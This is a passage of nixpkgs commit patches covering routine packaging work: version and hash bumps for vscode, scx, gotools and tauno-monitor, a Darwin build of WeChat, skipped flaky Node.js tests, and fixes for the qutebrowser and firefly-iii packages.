@@ -24,11 +24,11 @@ rustPlatform.buildRustPackage (finalAttrs: {
     owner = "Sydbox";
     repo = "sydbox";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-m4iooJzc/TQguWF4qVOvuNabFmijsTtlzjz7IllNN74=";
+    hash = "sha256-EfsL8UEZdWRYqQ5QymteUBxtabfrHxq3WU4MMqsXWAg=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-B/JSJKCLYnNjHFEDdFdGTdXuirA2zRKL+mr36a0Fqh0=";
+  cargoHash = "sha256-ckeOk4/fpJ9J8JV/NT0D/0jXUOt4ub+m+6ZBUpBEs08=";
 
   nativeBuildInputs = [
     mandoc

From 6fb2702f2c2406403e1c15ed61cfe8e70eefe21f Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Sat, 14 Jun 2025 22:29:59 +0800
Subject: [PATCH 1085/4511] wechat: init darwin at 4.0.5.24

(cherry picked from commit 69bee52cbace71e1381d7aaf56a00a01aa4e2133)
---
 pkgs/by-name/we/wechat/darwin.nix  | 30 +++++++++++++
 pkgs/by-name/we/wechat/linux.nix   | 30 +++++++++++++
 pkgs/by-name/we/wechat/package.nix | 72 ++++++++++++++++--------------
 3 files changed, 98 insertions(+), 34 deletions(-)
 create mode 100644 pkgs/by-name/we/wechat/darwin.nix
 create mode 100644 pkgs/by-name/we/wechat/linux.nix

diff --git a/pkgs/by-name/we/wechat/darwin.nix b/pkgs/by-name/we/wechat/darwin.nix
new file mode 100644
index 000000000000..e82885d27d6f
--- /dev/null
+++ b/pkgs/by-name/we/wechat/darwin.nix
@@ -0,0 +1,30 @@
+{
+  pname,
+  version,
+  src,
+  meta,
+  stdenvNoCC,
+  _7zz,
+}:
+
+stdenvNoCC.mkDerivation {
+  inherit
+    pname
+    version
+    src
+    meta
+    ;
+
+  # dmg is APFS formatted
+  nativeBuildInputs = [ _7zz ];
+  sourceRoot = ".";
+
+  installPhase = ''
+    runHook preInstall
+
+    mkdir -p $out/Applications
+    cp -a WeChat.app $out/Applications
+
+    runHook postInstall
+  '';
+}
diff --git a/pkgs/by-name/we/wechat/linux.nix b/pkgs/by-name/we/wechat/linux.nix
new file mode 100644
index 000000000000..0d4f42bf987d
--- /dev/null
+++ b/pkgs/by-name/we/wechat/linux.nix
@@ -0,0 +1,30 @@
+{
+  pname,
+  version,
+  src,
+  meta,
+  appimageTools,
+}:
+
+let
+  appimageContents = appimageTools.extract {
+    inherit pname version src;
+    postExtract = ''
+      patchelf --replace-needed libtiff.so.5 libtiff.so $out/opt/wechat/wechat
+    '';
+  };
+in
+appimageTools.wrapAppImage {
+  inherit pname version meta;
+
+  src = appimageContents;
+
+  extraInstallCommands = ''
+    mkdir -p $out/share/applications
+    cp ${appimageContents}/wechat.desktop $out/share/applications/
+    mkdir -p $out/share/pixmaps
+    cp ${appimageContents}/wechat.png $out/share/pixmaps/
+
+    substituteInPlace $out/share/applications/wechat.desktop --replace-fail AppRun wechat
+  '';
+}
diff --git a/pkgs/by-name/we/wechat/package.nix b/pkgs/by-name/we/wechat/package.nix
index 4824c76ed428..f3e052d56fa8 100644
--- a/pkgs/by-name/we/wechat/package.nix
+++ b/pkgs/by-name/we/wechat/package.nix
@@ -1,45 +1,14 @@
 {
-  lib,
-  appimageTools,
+  callPackage,
   fetchurl,
+  lib,
   stdenvNoCC,
 }:
 
 let
   inherit (stdenvNoCC.hostPlatform) system;
+
   pname = "wechat";
-  version = "4.0.1.11";
-  sources = {
-    aarch64-linux = fetchurl {
-      url = "https://web.archive.org/web/20250512112413if_/https://dldir1v6.qq.com/weixin/Universal/Linux/WeChatLinux_arm64.AppImage";
-      hash = "sha256-Rg+FWNgOPC02ILUskQqQmlz1qNb9AMdvLcRWv7NQhGk=";
-    };
-    x86_64-linux = fetchurl {
-      url = "https://web.archive.org/web/20250512110825if_/https://dldir1v6.qq.com/weixin/Universal/Linux/WeChatLinux_x86_64.AppImage";
-      hash = "sha256-gBWcNQ1o1AZfNsmu1Vi1Kilqv3YbR+wqOod4XYAeVKo=";
-    };
-  };
-  src = appimageTools.extract {
-    inherit pname version;
-    src = sources.${system};
-    postExtract = ''
-      patchelf --replace-needed libtiff.so.5 libtiff.so $out/opt/wechat/wechat
-    '';
-  };
-in
-
-appimageTools.wrapAppImage {
-  inherit pname version src;
-
-  extraInstallCommands = ''
-    mkdir -p $out/share/applications
-    cp ${src}/wechat.desktop $out/share/applications/
-    mkdir -p $out/share/pixmaps
-    cp ${src}/wechat.png $out/share/pixmaps/
-
-    substituteInPlace $out/share/applications/wechat.desktop --replace-fail AppRun wechat
-  '';
-
   meta = {
     description = "Messaging and calling app";
     homepage = "https://www.wechat.com/en/";
@@ -49,8 +18,43 @@ appimageTools.wrapAppImage {
     maintainers = with lib.maintainers; [ prince213 ];
     mainProgram = "wechat";
     platforms = [
+      "aarch64-darwin"
+      "x86_64-darwin"
       "aarch64-linux"
       "x86_64-linux"
     ];
   };
+
+  sources =
+    let
+      any-darwin = {
+        version = "4.0.5.24";
+        src = fetchurl {
+          url = "https://web.archive.org/web/20250608064358if_/https://dldir1v6.qq.com/weixin/Universal/Mac/WeChatMac.dmg";
+          hash = "sha256-ieixBgYhZ5jU3TWCV7BXKFBidJ1bbabXBHTkrpNcGDI=";
+        };
+      };
+    in
+    {
+      aarch64-darwin = any-darwin;
+      x86_64-darwin = any-darwin;
+      aarch64-linux = {
+        version = "4.0.1.11";
+        src = fetchurl {
+          url = "https://web.archive.org/web/20250512112413if_/https://dldir1v6.qq.com/weixin/Universal/Linux/WeChatLinux_arm64.AppImage";
+          hash = "sha256-Rg+FWNgOPC02ILUskQqQmlz1qNb9AMdvLcRWv7NQhGk=";
+        };
+      };
+      x86_64-linux = {
+        version = "4.0.1.11";
+        src = fetchurl {
+          url = "https://web.archive.org/web/20250512110825if_/https://dldir1v6.qq.com/weixin/Universal/Linux/WeChatLinux_x86_64.AppImage";
+          hash = "sha256-gBWcNQ1o1AZfNsmu1Vi1Kilqv3YbR+wqOod4XYAeVKo=";
+        };
+      };
+    };
+in
+callPackage (if stdenvNoCC.hostPlatform.isDarwin then ./darwin.nix else ./linux.nix) {
+  inherit pname meta;
+  inherit (sources.${system} or (throw "Unsupported system: ${system}")) version src;
 }

From 869f0ca5d53f3ee7ffcd176f8348dab7e53171c0 Mon Sep 17 00:00:00 2001
From: Antoine du Hamel <duhamelantoine1995@gmail.com>
Date: Sat, 14 Jun 2025 11:07:12 +0200
Subject: [PATCH 1086/4511] nodejs*: skip some flaky tests

(cherry picked from commit cfeaf14c52585eaa8125defa8482cd2f7198d9bd)
---
 pkgs/development/web/nodejs/nodejs.nix | 12 +++++++++---
 1 file changed, 9 insertions(+), 3 deletions(-)

diff --git a/pkgs/development/web/nodejs/nodejs.nix b/pkgs/development/web/nodejs/nodejs.nix
index 873a333e5f38..0ec9e4ec9633 100644
--- a/pkgs/development/web/nodejs/nodejs.nix
+++ b/pkgs/development/web/nodejs/nodejs.nix
@@ -428,6 +428,9 @@ let
                 "test-debugger-random-port-with-inspect-port"
                 "test-debugger-launch"
                 "test-debugger-pid"
+
+                # Those are annoyingly flaky, but not enough to be marked as such upstream.
+                "test-wasi"
               ]
               ++ lib.optionals (stdenv.buildPlatform.isDarwin && stdenv.buildPlatform.isx86_64) [
                 # These tests fail on x86_64-darwin (even without sandbox).
@@ -435,10 +438,13 @@ let
                 "test-fs-readv"
                 "test-fs-readv-sync"
                 "test-vm-memleak"
+
+                # Those are annoyingly flaky, but not enough to be marked as such upstream.
+                "test-tick-processor-arguments"
+                "test-set-raw-mode-reset-signal"
               ]
-              ++ lib.optional (
-                stdenv.buildPlatform.isDarwin && stdenv.buildPlatform.isx86_64 && majorVersion == "20"
-              ) "test-tick-processor-arguments" # flaky
+              # Those are annoyingly flaky, but not enough to be marked as such upstream.
+              ++ lib.optional (majorVersion == "22") "test-child-process-stdout-flush-exit"
             )
           }"
         ];

From b7e31b47be4bd9563071ba8dea4e02955c6c4cac Mon Sep 17 00:00:00 2001
From: Gliczy <129636582+Gliczy@users.noreply.github.com>
Date: Thu, 12 Jun 2025 23:27:51 +0200
Subject: [PATCH 1087/4511] scx.full: 1.0.12 -> 1.0.13

(cherry picked from commit 74e8d625c1238af08693ea473c8139350db19c0e)
---
 pkgs/os-specific/linux/scx/scx_cscheds.nix | 1 +
 pkgs/os-specific/linux/scx/version.json    | 6 +++---
 2 files changed, 4 insertions(+), 3 deletions(-)

diff --git a/pkgs/os-specific/linux/scx/scx_cscheds.nix b/pkgs/os-specific/linux/scx/scx_cscheds.nix
index e22d897d372b..cdcb326676a3 100644
--- a/pkgs/os-specific/linux/scx/scx_cscheds.nix
+++ b/pkgs/os-specific/linux/scx/scx_cscheds.nix
@@ -77,6 +77,7 @@ llvmPackages.stdenv.mkDerivation (finalAttrs: {
       pkg-config
       zstd
       protobuf
+      llvmPackages.libllvm
     ]
     ++ bpftools.buildInputs
     ++ bpftools.nativeBuildInputs;
diff --git a/pkgs/os-specific/linux/scx/version.json b/pkgs/os-specific/linux/scx/version.json
index e2bfb68d424e..f517f6679ee3 100644
--- a/pkgs/os-specific/linux/scx/version.json
+++ b/pkgs/os-specific/linux/scx/version.json
@@ -1,8 +1,8 @@
 {
   "scx": {
-    "version": "1.0.12",
-    "hash": "sha256-ti4SPx66Ykwqsel7l8Rb0WEBypFbQKoDd0foMAtEmlE=",
-    "cargoHash": "sha256-nD+RalFCJLqQGMVtaJm/NLCrY8Iq5/eAsW+ydABvw2o="
+    "version": "1.0.13",
+    "hash": "sha256-uSYkAsDZEWJ7sB6jd7PZrwYepeLlTdiTi4kAgSDeVsU=",
+    "cargoHash": "sha256-+JDe7l4wX2balOUD11M9z60JSaRyMaIO7Pw1NrjnE30="
   },
   "bpftool": {
     "rev": "183e7010387d1fc9f08051426e9a9fbd5f8d409e",

From daadc38ad529b03d5b7f38f50c215b4965d50ee0 Mon Sep 17 00:00:00 2001
From: Gliczy <129636582+Gliczy@users.noreply.github.com>
Date: Thu, 12 Jun 2025 23:29:36 +0200
Subject: [PATCH 1088/4511] scx.full: enable `doCheck`

(cherry picked from commit d662e65bfc104f9d5d694390891e1c30a32cd27f)
---
 pkgs/os-specific/linux/scx/scx_cscheds.nix    |  3 +--
 pkgs/os-specific/linux/scx/scx_rustscheds.nix | 10 ++++++++--
 2 files changed, 9 insertions(+), 4 deletions(-)

diff --git a/pkgs/os-specific/linux/scx/scx_cscheds.nix b/pkgs/os-specific/linux/scx/scx_cscheds.nix
index cdcb326676a3..6d97e12447fa 100644
--- a/pkgs/os-specific/linux/scx/scx_cscheds.nix
+++ b/pkgs/os-specific/linux/scx/scx_cscheds.nix
@@ -126,8 +126,7 @@ llvmPackages.stdenv.mkDerivation (finalAttrs: {
     "out"
   ];
 
-  # Enable this when default kernel in nixpkgs is 6.12+
-  doCheck = false;
+  doCheck = true;
 
   meta = scx-common.meta // {
     description = "Sched-ext C userspace schedulers";
diff --git a/pkgs/os-specific/linux/scx/scx_rustscheds.nix b/pkgs/os-specific/linux/scx/scx_rustscheds.nix
index 6ee3b52368b4..ed58e7bc7726 100644
--- a/pkgs/os-specific/linux/scx/scx_rustscheds.nix
+++ b/pkgs/os-specific/linux/scx/scx_rustscheds.nix
@@ -58,8 +58,14 @@ rustPlatform.buildRustPackage {
     "zerocallusedregs"
   ];
 
-  # Enable this when default kernel in nixpkgs is 6.12+
-  doCheck = false;
+  doCheck = true;
+  checkFlags = [
+    "--skip=compat::tests::test_ksym_exists"
+    "--skip=compat::tests::test_read_enum"
+    "--skip=compat::tests::test_struct_has_field"
+    "--skip=cpumask"
+    "--skip=topology"
+  ];
 
   meta = scx-common.meta // {
     description = "Sched-ext Rust userspace schedulers";

From cd820874ab051fea075cac9751d169285cebece8 Mon Sep 17 00:00:00 2001
From: Gliczy <129636582+Gliczy@users.noreply.github.com>
Date: Thu, 12 Jun 2025 23:30:24 +0200
Subject: [PATCH 1089/4511] scx: add myself as maintainer

(cherry picked from commit 5a6239e8c4a4c90ba61a1911060796683c8d4412)
---
 pkgs/os-specific/linux/scx/default.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pkgs/os-specific/linux/scx/default.nix b/pkgs/os-specific/linux/scx/default.nix
index 6e645f2f210e..13730ba0ded8 100644
--- a/pkgs/os-specific/linux/scx/default.nix
+++ b/pkgs/os-specific/linux/scx/default.nix
@@ -22,7 +22,10 @@ let
       license = lib.licenses.gpl2Only;
       platforms = lib.platforms.linux;
       badPlatforms = [ "aarch64-linux" ];
-      maintainers = with lib.maintainers; [ johnrtitor ];
+      maintainers = with lib.maintainers; [
+        johnrtitor
+        Gliczy
+      ];
     };
   };
 

From 4112fa0f6a69343e88e68232472f4c89d1a13fb4 Mon Sep 17 00:00:00 2001
From: John Titor <50095635+JohnRTitor@users.noreply.github.com>
Date: Fri, 13 Jun 2025 18:12:04 +0530
Subject: [PATCH 1090/4511] scx.full: src.rev -> src.tag

Signed-off-by: John Titor <50095635+JohnRTitor@users.noreply.github.com>
(cherry picked from commit 3c56f047e0697154a7c63f743c1af86f97fd2ad2)
---
 pkgs/os-specific/linux/scx/default.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/os-specific/linux/scx/default.nix b/pkgs/os-specific/linux/scx/default.nix
index 13730ba0ded8..f8d0dbf72f53 100644
--- a/pkgs/os-specific/linux/scx/default.nix
+++ b/pkgs/os-specific/linux/scx/default.nix
@@ -12,7 +12,7 @@ let
     src = fetchFromGitHub {
       owner = "sched-ext";
       repo = "scx";
-      rev = "refs/tags/v${versionInfo.scx.version}";
+      tag = "v${versionInfo.scx.version}";
       inherit (versionInfo.scx) hash;
     };
 

From fc6b107283f98af5c0e3f876582f4a4502c0ad06 Mon Sep 17 00:00:00 2001
From: emaryn <emaryn@users.noreply.github.com>
Date: Sun, 8 Jun 2025 13:55:30 +0000
Subject: [PATCH 1091/4511] vscode: 1.100.2 -> 1.100.3

(cherry picked from commit ae91003958555b8b73c17e6536a302ff492c9d04)
---
 pkgs/applications/editors/vscode/vscode.nix | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/pkgs/applications/editors/vscode/vscode.nix b/pkgs/applications/editors/vscode/vscode.nix
index c0e532c5f52e..d3b1618f0ad8 100644
--- a/pkgs/applications/editors/vscode/vscode.nix
+++ b/pkgs/applications/editors/vscode/vscode.nix
@@ -36,22 +36,22 @@ let
 
   sha256 =
     {
-      x86_64-linux = "1h55vjyv6vy4vyzi6lypnh4jrng8dgb7i6l9rq6k94lbl3mbnb2w";
-      x86_64-darwin = "02c79ii2gpffc552aq0slpxfdp4ajf1cp7djhn7bap22wym53x8v";
-      aarch64-linux = "1ixx31ar2hb25387520509p8lqi9a5if7c992hizvjwdvwfsvwx5";
-      aarch64-darwin = "1ic6z47ci0wqq7sak0x9x0ywa0m7mgls2fm6m9fvd4xh1asa25ms";
-      armv7l-linux = "1xn1nl7s88jsxwavm3m9w35518qn4886mqh6zfiwzj5dn3ib8425";
+      x86_64-linux = "0kd4nb8b17j7ii5lhq4cih62pghb4j9gylgz9yqippxivzzkq6dd";
+      x86_64-darwin = "1y96sp3lkm32fnhjak2js11m9qf8155gglp9g83ynv9d8sdy14ya";
+      aarch64-linux = "162wac7s0l4pq6r6sh32lh69j90rna430z57ksb6g9w8spqzqnv4";
+      aarch64-darwin = "1rqq131f1hs2z14ddh7sp6flwsgb58r8nw1ydbcclcmzi3vbdgr9";
+      armv7l-linux = "06czqpzwlrx98bv2vmawjxxmzw9z6bcfxikp7nxhi8qp8nsjfvgy";
     }
     .${system} or throwSystem;
 in
 callPackage ./generic.nix rec {
   # Please backport all compatible updates to the stable release.
   # This is important for the extension ecosystem.
-  version = "1.100.2";
+  version = "1.100.3";
   pname = "vscode" + lib.optionalString isInsiders "-insiders";
 
   # This is used for VS Code - Remote SSH test
-  rev = "848b80aeb52026648a8ff9f7c45a9b0a80641e2e";
+  rev = "258e40fedc6cb8edf399a463ce3a9d32e7e1f6f3";
 
   executableName = "code" + lib.optionalString isInsiders "-insiders";
   longName = "Visual Studio Code" + lib.optionalString isInsiders " - Insiders";
@@ -75,7 +75,7 @@ callPackage ./generic.nix rec {
     src = fetchurl {
       name = "vscode-server-${rev}.tar.gz";
       url = "https://update.code.visualstudio.com/commit:${rev}/server-linux-x64/stable";
-      sha256 = "0d5hbhk4f551yxrq28xyg3yj5xh72d9c1kd1cc9r9fq94l93pdvm";
+      sha256 = "0bd04p4i5hkkccglw5x3vxf4vbq9hj83gdwfnaps5yskcqizhw77";
     };
     stdenv = stdenvNoCC;
   };

From f7694d1100d0d16e479ef8a76d97eaebf52cab80 Mon Sep 17 00:00:00 2001
From: emaryn <emaryn@users.noreply.github.com>
Date: Fri, 13 Jun 2025 12:11:48 +0000
Subject: [PATCH 1092/4511] vscode: 1.100.3 -> 1.101.0

(cherry picked from commit e7d2705e14eeea512abc6c4ce2470d2d9254a9ed)
---
 pkgs/applications/editors/vscode/vscode.nix | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/pkgs/applications/editors/vscode/vscode.nix b/pkgs/applications/editors/vscode/vscode.nix
index d3b1618f0ad8..fe6a730936b2 100644
--- a/pkgs/applications/editors/vscode/vscode.nix
+++ b/pkgs/applications/editors/vscode/vscode.nix
@@ -36,22 +36,22 @@ let
 
   sha256 =
     {
-      x86_64-linux = "0kd4nb8b17j7ii5lhq4cih62pghb4j9gylgz9yqippxivzzkq6dd";
-      x86_64-darwin = "1y96sp3lkm32fnhjak2js11m9qf8155gglp9g83ynv9d8sdy14ya";
-      aarch64-linux = "162wac7s0l4pq6r6sh32lh69j90rna430z57ksb6g9w8spqzqnv4";
-      aarch64-darwin = "1rqq131f1hs2z14ddh7sp6flwsgb58r8nw1ydbcclcmzi3vbdgr9";
-      armv7l-linux = "06czqpzwlrx98bv2vmawjxxmzw9z6bcfxikp7nxhi8qp8nsjfvgy";
+      x86_64-linux = "1zc64d1n84kzwmwh8m3j897di5955qlm7glnpjvl8g7q70b4rdax";
+      x86_64-darwin = "04ycsad1khxjmiph9fk9449w942m8gmq65amwkf8jxqzn0rybh76";
+      aarch64-linux = "0lhqmp59vccs35fksgvdgvw82b0mr9b2wlyafxlwb8pk2q0l0xga";
+      aarch64-darwin = "1axzsk6xqlzs3j9irjxp5f4fbdxyi4fffhdk89h45q3zkw8m9m4i";
+      armv7l-linux = "1rv3a8xj7iv1d8mfikpj58n398ww5cndbyvgy5328nj7dh6azrsw";
     }
     .${system} or throwSystem;
 in
 callPackage ./generic.nix rec {
   # Please backport all compatible updates to the stable release.
   # This is important for the extension ecosystem.
-  version = "1.100.3";
+  version = "1.101.0";
   pname = "vscode" + lib.optionalString isInsiders "-insiders";
 
   # This is used for VS Code - Remote SSH test
-  rev = "258e40fedc6cb8edf399a463ce3a9d32e7e1f6f3";
+  rev = "dfaf44141ea9deb3b4096f7cd6d24e00c147a4b1";
 
   executableName = "code" + lib.optionalString isInsiders "-insiders";
   longName = "Visual Studio Code" + lib.optionalString isInsiders " - Insiders";
@@ -75,7 +75,7 @@ callPackage ./generic.nix rec {
     src = fetchurl {
       name = "vscode-server-${rev}.tar.gz";
       url = "https://update.code.visualstudio.com/commit:${rev}/server-linux-x64/stable";
-      sha256 = "0bd04p4i5hkkccglw5x3vxf4vbq9hj83gdwfnaps5yskcqizhw77";
+      sha256 = "0rjd4f54k58k97gxvnivwj52aha5s8prws1izvmg43vphhfvk014";
     };
     stdenv = stdenvNoCC;
   };

From d04fe42570b9c83b071c59f43eb5ee953045f405 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 15 Jun 2025 18:48:38 +0000
Subject: [PATCH 1093/4511] tauno-monitor: 0.1.27 -> 0.1.28

(cherry picked from commit 5f695ca3c6bc45d5471e79fbbf9fe9f88af9a592)
---
 pkgs/by-name/ta/tauno-monitor/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ta/tauno-monitor/package.nix b/pkgs/by-name/ta/tauno-monitor/package.nix
index 28be4982bffa..f3dd3945357b 100644
--- a/pkgs/by-name/ta/tauno-monitor/package.nix
+++ b/pkgs/by-name/ta/tauno-monitor/package.nix
@@ -13,14 +13,14 @@
 }:
 python3Packages.buildPythonApplication rec {
   pname = "tauno-monitor";
-  version = "0.1.27";
+  version = "0.1.28";
   pyproject = false;
 
   src = fetchFromGitHub {
     owner = "taunoe";
     repo = "tauno-monitor";
     tag = "v${version}";
-    hash = "sha256-QxapBgKKXuZxMIvZ8Z91cYhjE2/qxe9fC/eEaPpJWFg=";
+    hash = "sha256-DxWB69bkDAe35ci/e18Dji0EpZvbz7Y5y+32ZchV/m8=";
   };
 
   nativeBuildInputs = [

From 420caafc607a419196d0fe049f680f51904d30f8 Mon Sep 17 00:00:00 2001
From: Nikolay Korotkiy <sikmir@disroot.org>
Date: Tue, 27 May 2025 17:49:47 +0400
Subject: [PATCH 1094/4511] qutebrowser: fix on darwin

(cherry picked from commit 57b20131f7cd52d1d01aa4dbf4f0e7f7fb49a421)
---
 pkgs/by-name/qu/qutebrowser/package.nix | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/qu/qutebrowser/package.nix b/pkgs/by-name/qu/qutebrowser/package.nix
index bc9511bad8e0..f534654a7fff 100644
--- a/pkgs/by-name/qu/qutebrowser/package.nix
+++ b/pkgs/by-name/qu/qutebrowser/package.nix
@@ -8,6 +8,7 @@
   asciidoc,
   docbook_xml_dtd_45,
   docbook_xsl,
+  desktopToDarwinBundle,
   libxml2,
   libxslt,
   withPdfReader ? true,
@@ -69,7 +70,7 @@ python3.pkgs.buildPythonApplication {
     docbook_xsl
     libxml2
     libxslt
-  ];
+  ] ++ lib.optional stdenv.hostPlatform.isDarwin desktopToDarwinBundle;
 
   dependencies = with python3.pkgs; [
     colorama
@@ -131,6 +132,11 @@ python3.pkgs.buildPythonApplication {
   preFixup =
     let
       libPath = lib.makeLibraryPath [ pipewire ];
+      resourcesPath =
+        if (isQt6 && stdenv.hostPlatform.isDarwin) then
+          "${qt6Packages.qtwebengine}/lib/QtWebEngineCore.framework/Resources"
+        else
+          "${qt6Packages.qtwebengine}/resources";
     in
     ''
       makeWrapperArgs+=(
@@ -145,7 +151,7 @@ python3.pkgs.buildPythonApplication {
           --set-default QSG_RHI_BACKEND vulkan
         ''}
         ${lib.optionalString enableWideVine ''--add-flags "--qt-flag widevine-path=${widevine-cdm}/share/google/chrome/WidevineCdm/_platform_specific/linux_x64/libwidevinecdm.so"''}
-        --set QTWEBENGINE_RESOURCES_PATH "${qt6Packages.qtwebengine}/resources"
+        --set QTWEBENGINE_RESOURCES_PATH "${resourcesPath}"
       )
     '';
 

From 5ba47a50c2900011465a1da82ae1b43f6d962a9e Mon Sep 17 00:00:00 2001
From: Savyasachee Jha <genghizkhan91@hawkradius.com>
Date: Sun, 15 Jun 2025 20:17:58 +0200
Subject: [PATCH 1095/4511] firefly-iii: fix version-regex so that ryantm can
 update package properly

(cherry picked from commit b4c885c88864447ccaa1e452939ff24c1a66a42f)
---
 pkgs/by-name/fi/firefly-iii/package.nix | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/fi/firefly-iii/package.nix b/pkgs/by-name/fi/firefly-iii/package.nix
index 21f8a88cd75b..005f8b172f2f 100644
--- a/pkgs/by-name/fi/firefly-iii/package.nix
+++ b/pkgs/by-name/fi/firefly-iii/package.nix
@@ -55,7 +55,12 @@ stdenvNoCC.mkDerivation (finalAttrs: {
   passthru = {
     phpPackage = php84;
     tests = nixosTests.firefly-iii;
-    updateScript = nix-update-script { extraArgs = [ "--version-regex='v([0-9]+\.[0-9]+\.[0-9]+)'" ]; };
+    updateScript = nix-update-script {
+      extraArgs = [
+        "--version-regex"
+        "v(\\d+\\.\\d+\\.\\d+)"
+      ];
+    };
   };
 
   postInstall = ''

From 174b93bf619894c4e02cdb1d33c4c02b088f0f49 Mon Sep 17 00:00:00 2001
From: Savyasachee Jha <genghizkhan91@hawkradius.com>
Date: Sun, 15 Jun 2025 20:18:11 +0200
Subject: [PATCH 1096/4511] firefly-iii-data-importer: fix version-regex so
 that ryantm can update package properly

(cherry picked from commit 800a6e09e1fcd9e0f2643add68060db9dbcdc95d)
---
 pkgs/by-name/fi/firefly-iii-data-importer/package.nix | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/fi/firefly-iii-data-importer/package.nix b/pkgs/by-name/fi/firefly-iii-data-importer/package.nix
index e80858c75720..3f5dbe669942 100644
--- a/pkgs/by-name/fi/firefly-iii-data-importer/package.nix
+++ b/pkgs/by-name/fi/firefly-iii-data-importer/package.nix
@@ -66,7 +66,12 @@ stdenvNoCC.mkDerivation (finalAttrs: {
   passthru = {
     phpPackage = php84;
     tests = nixosTests.firefly-iii-data-importer;
-    updateScript = nix-update-script { extraArgs = [ "--version-regex='v([0-9]+\.[0-9]+\.[0-9]+)'" ]; };
+    updateScript = nix-update-script {
+      extraArgs = [
+        "--version-regex"
+        "v(\\d+\\.\\d+\\.\\d+)"
+      ];
+    };
   };
 
   postInstall = ''

From 7e5a7f5a6c66f9481ebfb89c4ba940f9d0a67590 Mon Sep 17 00:00:00 2001
From: phanirithvij <phanirithvij2000@gmail.com>
Date: Fri, 13 Jun 2025 23:28:58 +0530
Subject: [PATCH 1097/4511] gotools: 0.30.0 -> 0.34.0

Signed-off-by: phanirithvij <phanirithvij2000@gmail.com>
(cherry picked from commit 2b0f44416890ad41a4d7a4f02f541bc68467b0bb)
---
 pkgs/by-name/go/gotools/package.nix | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/go/gotools/package.nix b/pkgs/by-name/go/gotools/package.nix
index ab00c3f10ef6..ed9cdf1d9c1b 100644
--- a/pkgs/by-name/go/gotools/package.nix
+++ b/pkgs/by-name/go/gotools/package.nix
@@ -8,20 +8,20 @@
 
 buildGoModule rec {
   pname = "gotools";
-  version = "0.30.0";
+  version = "0.34.0";
 
   # using GitHub instead of https://go.googlesource.com/tools because Gitiles UI is to basic to browse
   src = fetchFromGitHub {
     owner = "golang";
     repo = "tools";
     rev = "v${version}";
-    hash = "sha256-yUkdZSe/GV0w1qK8aQjcFE4tNKYC8f4JeFgPiv8GlQc=";
+    hash = "sha256-C+P2JoD4NzSAkAQuA20bVrfLZrMHXekvXn8KPOM5Nj4=";
   };
 
   allowGoReference = true;
   doCheck = false;
 
-  vendorHash = "sha256-+jhCNi7bGkRdI1Ywfe3q4i+zcm3UJ0kbQalsDD3WkS4=";
+  vendorHash = "sha256-UZNYHx5y+kRp3AJq6s4Wy+k789GDG7FBTSzCTorVjgg=";
 
   nativeBuildInputs = [ makeWrapper ];
 
@@ -29,6 +29,8 @@ buildGoModule rec {
     # The gopls folder contains a Go submodule which causes a build failure
     # and lives in its own package named gopls.
     rm -r gopls
+    # cmd/auth folder is similar and is scheduled to be removed https://github.com/golang/go/issues/70872
+    rm -r cmd/auth
   '';
 
   # Set GOTOOLDIR for derivations adding this to buildInputs

From 9ca0462ebbd5068bc58d0ca806e75d3fcb98e699 Mon Sep 17 00:00:00 2001
From: phanirithvij <phanirithvij2000@gmail.com>
Date: Fri, 13 Jun 2025 23:29:06 +0530
Subject: [PATCH 1098/4511] gotools: modernize derivation

Signed-off-by: phanirithvij <phanirithvij2000@gmail.com>
(cherry picked from commit 4d612f08bab8acfcdd44a60a697b1b4279318d27)
---
 pkgs/by-name/go/gotools/package.nix | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/go/gotools/package.nix b/pkgs/by-name/go/gotools/package.nix
index ed9cdf1d9c1b..74392d52e6eb 100644
--- a/pkgs/by-name/go/gotools/package.nix
+++ b/pkgs/by-name/go/gotools/package.nix
@@ -6,15 +6,15 @@
   go,
 }:
 
-buildGoModule rec {
+buildGoModule (finalAttrs: {
   pname = "gotools";
   version = "0.34.0";
 
-  # using GitHub instead of https://go.googlesource.com/tools because Gitiles UI is to basic to browse
+  # using GitHub instead of https://go.googlesource.com/tools because Gitiles UI is too basic to browse
   src = fetchFromGitHub {
     owner = "golang";
     repo = "tools";
-    rev = "v${version}";
+    tag = "v${finalAttrs.version}";
     hash = "sha256-C+P2JoD4NzSAkAQuA20bVrfLZrMHXekvXn8KPOM5Nj4=";
   };
 
@@ -45,16 +45,16 @@ buildGoModule rec {
       --suffix PATH : ${lib.makeBinPath [ go ]}
   '';
 
-  meta = with lib; {
+  meta = {
     description = "Additional tools for Go development";
     longDescription = ''
       This package contains tools like: godoc, goimports, callgraph, digraph, stringer or toolstash.
     '';
     homepage = "https://go.googlesource.com/tools";
-    license = licenses.bsd3;
-    maintainers = with maintainers; [
+    license = lib.licenses.bsd3;
+    maintainers = with lib.maintainers; [
       SuperSandro2000
       techknowlogick
     ];
   };
-}
+})

From 6e05ecb1a342ccd8d64833a89b0e605e5074893c Mon Sep 17 00:00:00 2001
From: thtrf <r3769.tv@gmail.com>
Date: Mon, 12 May 2025 01:46:31 +0200
Subject: [PATCH 1099/4511] eloquent: init at 1.2

(cherry picked from commit acc13227f63ae0f864ca1366572536b906170575)
---
 pkgs/by-name/el/eloquent/package.nix | 100 +++++++++++++++++++++++++++
 1 file changed, 100 insertions(+)
 create mode 100644 pkgs/by-name/el/eloquent/package.nix

diff --git a/pkgs/by-name/el/eloquent/package.nix b/pkgs/by-name/el/eloquent/package.nix
new file mode 100644
